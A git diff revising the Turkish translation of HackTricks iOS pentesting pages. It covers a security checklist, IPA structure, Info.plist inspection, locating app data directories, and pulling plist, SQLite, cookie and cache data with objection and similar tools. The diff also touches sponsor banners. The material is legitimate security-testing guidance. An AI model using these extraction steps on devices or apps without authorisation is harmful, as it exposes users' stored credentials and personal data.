+* Uygulamanın herhangi bir yerden özel şema aracılığıyla çağrılabilen **hassas bir işlevsellik açığa çıkardığını** kontrol edin
* [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Uygulamanın UIActivities alıp alamayacağını ve özellikle oluşturulmuş bir etkinlikle herhangi bir zafiyetin sömürülüp sömürülemeyeceğini kontrol edin
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] Uygulamanın **genel panoya herhangi bir şey kopyalayıp kopyalamadığını** kontrol edin
* [ ] Uygulamanın **genel panodan veri kullanıp kullanmadığını** kontrol edin
-* Panoyu izleyerek herhangi bir **hassas verinin kopyalanıp kopyalanmadığını** kontrol edin
+* **Hassas verilerin kopyalanıp kopyalanmadığını** görmek için panoyu izleyin
* [**Uygulama Uzantıları**](ios-pentesting/ios-app-extensions.md)
* [ ] Uygulamanın **herhangi bir uzantıyı kullanıp kullanmadığını** kontrol edin
* [**Web Görünümleri**](ios-pentesting/ios-webviews.md)
-* [ ] Kullanılan web görünümlerini kontrol edin
-* **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin
+* [ ] Kullanılan web görünümlerinin türlerini kontrol edin
+* **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumlarını kontrol edin
* Web görünümünün **file://** protokolüyle **yerel dosyalara erişip erişemediğini** kontrol edin **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* Javascript'in **Native** **metodlara erişip erişemediğini** kontrol edin (`JSContext`, `postMessage`)
### Ağ İletişimi
@@ -119,20 +119,20 @@ HackTricks'ı desteklemenin diğer yolları:
**Try Hard Security Group**
-
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
-HackTricks'ı desteklemenin diğer yolları:
+HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -140,7 +140,7 @@ HackTricks'ı desteklemenin diğer yolları:
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md
index 1f5b77ad1..c84cef5f2 100644
--- a/mobile-pentesting/ios-pentesting/README.md
+++ b/mobile-pentesting/ios-pentesting/README.md
@@ -1,10 +1,10 @@
# iOS Pentesting
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
-Bugün Erişim Alın:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+Hemen Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -14,11 +14,11 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
@@ -145,7 +145,7 @@ grep -iER "_vsprintf"
### Temel Dinamik Analiz
-[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analize göz atın. Farklı görünümler arasında gezinmeniz ve etkileşimde bulunmanız gerekecek, ancak birçok sınıfa bağlanacak ve diğer işlemleri yapacak ve işiniz bittiğinde bir rapor hazırlayacaktır.
+[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analizi kontrol edin. Farklı görünümler arasında gezinmeniz ve etkileşimde bulunmanız gerekecek, ancak birçok sınıfa kanca takacak ve diğer işlemleri yapacak ve işiniz bittiğinde bir rapor hazırlayacaktır.
### Yüklü Uygulamaların Listelenmesi
@@ -172,26 +172,26 @@ Uygulamanın bileşenlerini **numaralandırma** ve yöntemleri ve sınıfları k
### IPA Yapısı
-Bir **IPA dosyasının** yapısı temelde bir **sıkıştırılmış paket** yapısındadır. Uzantısını `.zip` olarak değiştirerek, içeriğini ortaya çıkarmak için **açılabilir**. Bu yapı içinde, bir **Paket** uygulamanın kurulmaya hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `.app` adında bir dizin bulacaksınız.
+Bir **IPA dosyasının** yapısı temelde bir **sıkıştırılmış paketin** yapısıdır. Uzantısını `.zip` olarak değiştirerek, içeriğini ortaya çıkarmak için **açılabilir**. Bu yapı içinde, bir **Paket** uygulamanın kurulmaya hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `.app` adında bir dizin bulacaksınız.
* **`Info.plist`**: Bu dosya uygulamanın belirli yapılandırma detaylarını tutar.
* **`_CodeSignature/`**: Bu dizin, paketteki tüm dosyaların bütünlüğünü sağlayan bir imza içeren bir plist dosyasını içerir.
* **`Assets.car`**: Simgeler gibi varlık dosyalarını depolayan sıkıştırılmış bir arşiv.
* **`Frameworks/`**: Bu klasör uygulamanın yerel kütüphanelerini barındırır, bu kütüphaneler `.dylib` veya `.framework` dosyaları şeklinde olabilir.
-* **`PlugIns/`**: Bu, uygulamanın uzantılarını içerebilir, `.appex` dosyaları olarak bilinir, ancak her zaman mevcut değildir.
-* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabında birden fazla cihaz arasında veri senkronizasyonu yapmak için Core Data, şemanızı otomatik olarak bir CloudKit konteynerine yansıtır.
-* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya paketinizin türünü ve yaratıcı kodlarını belirtmenin alternatif bir yoludur.
+* **`PlugIns/`**: Bu, uygulamanın uzantılarını içerebilir, `.appex` dosyaları olarak bilinirler, ancak her zaman mevcut değillerdir.
+* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabında birden fazla cihaz arasında veri senkronizasyonu yapmak için, Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır.
+* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası uygulamanızın veya paketinizin türünü ve yaratıcı kodlarını belirtmenin alternatif bir yoludur.
* **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmiyorsa varsayılan bir kaynak içerir.
* **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar.
-* **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları verimli bir şekilde yönetmek için sıkıştırma kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir.
+* **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları verimli bir şekilde yönetmek için sıkıştırma kullanır, bu, uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir.
* **Kütüphaneler ve Eklentiler**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilere tekrar kullanılabilir kod kütüphanelerini (`Frameworks/`) içermelerine ve uygulama işlevselliğini genişletmelerine (`PlugIns/`) olanak tanır.
-* **Yerelleştirme**: Yapı, özel dil paketleri için kaynakları içererek çoklu dilleri destekler, böylece belirli dil paketleri için kaynakları içererek küresel uygulama erişimini kolaylaştırır.
+* **Yerelleştirme**: Yapı, birden fazla dil desteğini destekler, belirli dil paketleri için kaynakları içererek küresel uygulama erişimini kolaylaştırır.
**Info.plist**
-**Info.plist**, iOS uygulamaları için bir köşetaşı olarak hizmet eder, ana yapılandırma verilerini **anahtar-değer** çiftleri şeklinde kapsar. Bu dosya sadece uygulamalar için değil, aynı zamanda uygulama uzantıları ve içinde paketlenmiş çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmış olup, uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri içerir. Mevcut anahtarlar hakkında detaylı keşif için [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) başvurulabilir.
+**Info.plist**, iOS uygulamaları için bir köşetaşı olarak hizmet eder, temel yapılandırma verilerini **anahtar-değer** çiftleri şeklinde kapsar. Bu dosya sadece uygulamalar için değil, aynı zamanda uygulama uzantıları ve içinde paketlenmiş çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmıştır ve uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri içerir. Mevcut anahtarlar hakkında detaylı bir keşif için, [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) başvurulabilir.
-Bu dosya ile çalışmak isteyenler için daha erişilebilir bir formatta çalışmak için XML dönüşümü, macOS'ta (`plutil` ile, 10.2 ve sonraki sürümlerde doğal olarak mevcuttur) veya Linux'ta (`plistutil` ile) kolayca gerçekleştirilebilir. Dönüşüm için komutlar şunlardır:
+Bu dosya ile çalışmak isteyenler için daha erişilebilir bir formatta çalışmak için XML dönüşümü, macOS'ta (`plutil` ile, 10.2 ve sonraki sürümlerde doğal olarak mevcuttur) veya Linux'ta (`plistutil` ile) kolayca gerçekleştirilebilir. Dönüşüm komutları şunlardır:
* **macOS için**:
```bash
@@ -202,15 +202,15 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
-**Info.plist** dosyasının ifşa edebileceği bilgi yığını arasında, dikkate değer girişler arasında uygulama izni dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve App Transport Security için yapılandırmalar (`NSAppTransportSecurity`) bulunmaktadır. Bu girişler, `grep` komutunu kullanarak dosyayı inceleyerek veya basit bir şekilde yerini tespit edebilir.
+**Info.plist** dosyasının ifşa edebileceği bilgi yelpazesinin arasında, dikkate değer girişler arasında uygulama izni dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve App Transport Security için yapılandırmalar (`NSAppTransportSecurity`) bulunmaktadır. Bu girişler, `UTExportedTypeDeclarations` / `UTImportedTypeDeclarations` gibi dışa aktarılan/içe aktarılan özel belge tipleri gibi diğer girişlerle birlikte, dosyayı inceleyerek veya basit bir `grep` komutu kullanarak kolayca bulunabilir.
```bash
$ grep -i Info.plist
```
**Veri Yolları**
-iOS ortamında, dizinler özellikle **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/private/var/containers/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir kimlik ataması yapılır, bu nedenle uygulamanın klasörünü manuel olarak bulmak rastgele dizin adlarından dolayı zor olabilir.
+iOS ortamında, dizinler özellikle **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/private/var/containers/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir kimlik ataması yapılır, bu nedenle uygulamanın klasörünü manuel olarak bulmak zor olabilir çünkü dizin adlarının rastgele olmasıdır.
-Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için **objection aracı** yararlı bir `env` komutu sağlar. Bu komut, söz konusu uygulama için detaylı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
+Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için **objection aracı** yararlı bir komut olan `env` sağlar. Bu komut, söz konusu uygulama için detaylı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@@ -221,11 +221,11 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
```
-Alternatif olarak, uygulama adı `find` komutu kullanılarak `/private/var/containers` içinde aranabilir:
+Alternatif olarak, uygulama adı `find` komutunu kullanarak `/private/var/containers` içinde aranabilir:
```bash
find /private/var/containers -name "Progname*"
```
-Komutlar `ps` ve `lsof` ayrıca uygulamanın işlemini tanımlamak ve sırasıyla açık dosyaları listelemek için kullanılabilir, uygulamanın etkin dizin yollarına dair içgörüler sağlar:
+Komutlar `ps` ve `lsof` gibi, sırasıyla uygulamanın işlemini tanımlamak ve açık dosyaları listelemek için de kullanılabilir, uygulamanın etkin dizin yollarına dair içgörüler sağlar:
```bash
ps -ef | grep -i
lsof -p | grep -i "/containers" | head -n 1
@@ -249,27 +249,27 @@ lsof -p | grep -i "/containers" | head -n 1
* **Kullanıcıya özgü olmayan dosyaları** içerir, **ön bellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları gibi.
* iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir.
* **Library/Caches/**
-* **Yarı kalıcı önbellek dosyalarını** içerir.
-* Kullanıcılara **görünmez ve kullanıcılar yazamaz**.
+* **Yarı kalıcı önbelleklenmiş dosyaları** içerir.
+* Kullanıcılara görünmez ve **kullanıcılar yazamaz**.
* Bu dizindeki içerik **yedeklenmez**.
* Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir.
* **Library/Application Support/**
* Uygulamanın çalıştırılması için gerekli olan **kalıcı dosyaları** içerir.
-* Kullanıcılara **görünmez ve kullanıcılar yazamaz**.
+* Kullanıcılara **görünmez** ve kullanıcılar yazamaz.
* Bu dizindeki içerik **yedeklenir**.
* Uygulama, `NSURLIsExcludedFromBackupKey` ayarlayarak yolları devre dışı bırakabilir.
* **Library/Preferences/**
* Bir uygulama yeniden başlatıldıktan sonra bile **kalıcı olabilen özellikleri** depolamak için kullanılır.
-* Bilgiler, \[BUNDLE\_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak uygulama kum havuzunun içinde kaydedilir.
+* Bilgiler, \[BUNDLE\_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak uygulama sandbox'ının içinde kaydedilir.
* `NSUserDefaults` kullanılarak depolanan tüm anahtar/değer çiftleri bu dosyada bulunabilir.
* **tmp/**
* Uygulama başlatmaları arasında kalıcı olması gerekli olmayan **geçici dosyaları** yazmak için bu dizini kullanın.
-* Kalıcı olmayan önbellek dosyalarını içerir.
+* Kalıcı olmayan önbelleklenmiş dosyaları içerir.
* Kullanıcılara **görünmez**.
-* Bu dizindeki içerik yedeklenmez.
+* Bu dizindeki içerik **yedeklenmez**.
* Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir.
-iGoat-Swift'in Uygulama Paketi (.app) dizinine (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) daha yakından bakalım:
+iGoat-Swift'in Uygulama Paketi (.app) dizinine Bundle dizini içinde (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) daha yakından bakalım:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@@ -301,7 +301,7 @@ DVIA-v2:
```
**Uygulamanın şifrelenip şifrelenmediğini kontrol edin**
-Aşağıdaki komutu kullanarak çıktı olup olmadığını kontrol edin:
+Aşağıdaki çıktıyı kontrol edin:
```bash
otool -l | grep -A 4 LC_ENCRYPTION_INFO
```
@@ -335,7 +335,7 @@ data 0x1003de748
flags 0x80
instanceStart 8
```
-Kodun daha kompakt hale gelmesi için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanabilirsiniz:
+Kodun daha kompakt hale getirilmesi için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanılabilir:
```bash
class-dump some-app
//
@@ -361,26 +361,26 @@ double _field1;
double _field2;
};
```
-Ancak, binary dosyasını çözmek için en iyi seçenekler: [**Hopper**](https://www.hopperapp.com/download.html?) ve [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
+Ancak, ikili dosyayı çözümlemek için en iyi seçenekler: [**Hopper**](https://www.hopperapp.com/download.html?) ve [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Veri Depolama
-iOS'un cihazda veri depolama hakkında bilgi edinmek için bu sayfayı okuyun:
+iOS'un cihazda veri depolama yöntemlerini öğrenmek için bu sayfayı okuyun:
{% content-ref url="ios-basics.md" %}
[ios-basics.md](ios-basics.md)
{% endcontent-ref %}
{% hint style="warning" %}
-Uygulama **kurulduktan hemen sonra**, uygulamanın tüm işlevleri kontrol edildikten sonra ve hatta **bir kullanıcıdan çıkıp farklı bir kullanıcıya giriş yapıldıktan sonra** bilgi depolama yerleri kontrol edilmelidir.\
+Uygulama **kurulduktan hemen sonra**, uygulamanın **tüm işlevleri kontrol edildikten sonra** ve hatta **bir kullanıcıdan çıkıp farklı bir kullanıcıya giriş yaptıktan sonra** bilgi depolama yerleri kontrol edilmelidir.\
Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve önceki oturum açmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır.
{% endhint %}
@@ -388,13 +388,13 @@ Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve önceki otu
**plist** dosyaları, **anahtar-değer çiftlerini içeren yapılandırılmış XML dosyalarıdır**. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Bu dosyaların, uygulamayı yükledikten ve yoğun bir şekilde kullandıktan sonra kontrol edilmesi önerilir.
-Plist dosyalarında veri saklamanın en yaygın yolu, **NSUserDefaults**'un kullanılmasıdır. Bu plist dosyası, **`Library/Preferences/.plist`** içinde uygulama sandbox'ında kaydedilir.
+Plist dosyalarında veri saklamanın en yaygın yolu, **NSUserDefaults**'un kullanımıyla gerçekleşir. Bu plist dosyası, **`Library/Preferences/.plist`** içinde uygulama sandbox'ında kaydedilir.
-[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın davranışını **kullanıcı tercihlerine** göre özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler, uygulama paketinde görüntülenebilir. Bu sınıf, **veriyi** bir **plist** **dosyasında** saklar, ancak küçük miktarlarda veriyle kullanılması amaçlanmıştır.
+[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın davranışını **kullanıcı tercihlerine** göre özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler, uygulama paketi içinde görülebilir. Bu sınıf, **veriyi** bir **plist** **dosyasında** saklar, ancak küçük miktarlarda veriyle kullanılması amaçlanmıştır.
-Bu verilere doğrudan güvenilir bir bilgisayardan erişilemez, ancak bir **yedekleme** yaparak erişilebilir.
+Bu veri doğrudan güvenilir bir bilgisayardan erişilemez, ancak bir **yedekleme** yaparak erişilebilir.
-`NSUserDefaults` kullanılarak kaydedilen bilgileri **`NSUserDefaults`** kullanarak çözebilirsiniz.
+`NSUserDefaults` kullanılarak kaydedilen bilgileri objection'ın `ios nsuserdefaults get` komutunu kullanarak **dökümleyebilirsiniz**.
Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` dizinine erişebilir ve şunu çalıştırabilirsiniz:
```bash
@@ -402,7 +402,7 @@ find ./ -name "*.plist"
```
**XML veya ikili (bplist) formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:**
-**MacOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu amaçla tasarlanmış olan macOS'ta (10.2+), yerleşik bir araçtır.
+**MacOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu amaçla tasarlanmış olan macOS'ta (10.2+) yerleşik bir araçtır.
```bash
$ plutil -convert xml1 Info.plist
```
@@ -411,7 +411,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
-**Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için belirli bir komut, plist dosyalarını doğrudan dönüştürmenize olanak tanır:
+**Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için belirli bir komut, plist dosyalarını doğrudan dönüştürmenizi sağlar:
```bash
ios plist cat /private/var/mobile/Containers/Data/Application//Library/Preferences/com.some.package.app.plist
```
@@ -457,7 +457,7 @@ Yap veritabanları sqlite veritabanları olduğundan, bunları önceki bölümde
### Diğer SQLite Veritabanları
-Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı veriler** saklayabilir ve bunları şifrelememiş olarak bırakabilirler. Bu nedenle, her veritabanını uygulamanın dizininde kontrol etmek her zaman ilginç olacaktır. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`).
+Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı veriler** saklayabilir ve bunları şifrelemeden bırakabilirler. Bu nedenle, her uygulama dizini içindeki her veritabanını kontrol etmek her zaman ilginç olacaktır. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`).
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
@@ -465,7 +465,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
Geliştiricilere Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolama ve senkronizasyonu** imkanı sunulmaktadır. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir.
-Firebase veritabanlarında yanlış yapılandırılmış veritabanlar için nasıl kontrol yapılacağını buradan bulabilirsiniz:
+Firebase veritabanlarında yanlış yapılandırılmış veritabanlar için nasıl kontrol edileceğini buradan bulabilirsiniz:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
@@ -498,7 +498,7 @@ fatalError("Error opening realm: \(error)")
```
### Couchbase Lite Veritabanları
-[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **yerleşik** bir veritabanı motoru olarak tanımlanmaktadır ve **belge odaklı** (NoSQL) yaklaşımı benimsemektedir. **iOS** ve **macOS** için yerel olarak tasarlanmış olup, verilerin senkronizasyonunu sorunsuz bir şekilde sağlar.
+[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **yerleşik** bir veritabanı motoru olarak tanımlanmaktadır ve **belge odaklı** (NoSQL) yaklaşımı benimsemektedir. **iOS** ve **macOS** için yerel olarak tasarlanmış olup, verilerin senkronizasyonunu sorunsuz bir şekilde sağlama kapasitesi sunar.
Bir cihazda potansiyel Couchbase veritabanlarını tanımlamak için aşağıdaki dizin incelenmelidir:
```bash
@@ -509,7 +509,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Bununla birlikte, geliştiriciler bazen bu çerezleri **anahtarlık** içinde saklamayı tercih eder çünkü bahsi geçen **çerez dosyasına yedeklerden erişilebilir**.
Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\
-**Ayrıca objection'ı kullanarak** bu dosyaları JSON formatına dönüştürebilir ve verileri inceleyebilirsiniz.
+**Ayrıca objection'ı** bu dosyaları JSON formatına dönüştürmek ve verileri incelemek için kullanabilirsiniz.
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
@@ -527,29 +527,29 @@ iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library
```
### Önbellek
-NSURLSession varsayılan olarak **HTTP isteklerini ve yanıtlarını Cache.db veritabanında** saklar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka hassas bilgiler önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınan bilgileri bulmak için uygulamanın veri dizinine (`/var/mobile/Containers/Data/Application/`) gidin ve `/Library/Caches/` yolunu izleyin. **WebKit önbelleği de Cache.db dosyasında saklanmaktadır**. **Objection**, bu dosyayla `sqlite connect Cache.db` komutuyla etkileşime girebilir, çünkü bu **normal bir SQLite veritabanıdır**.
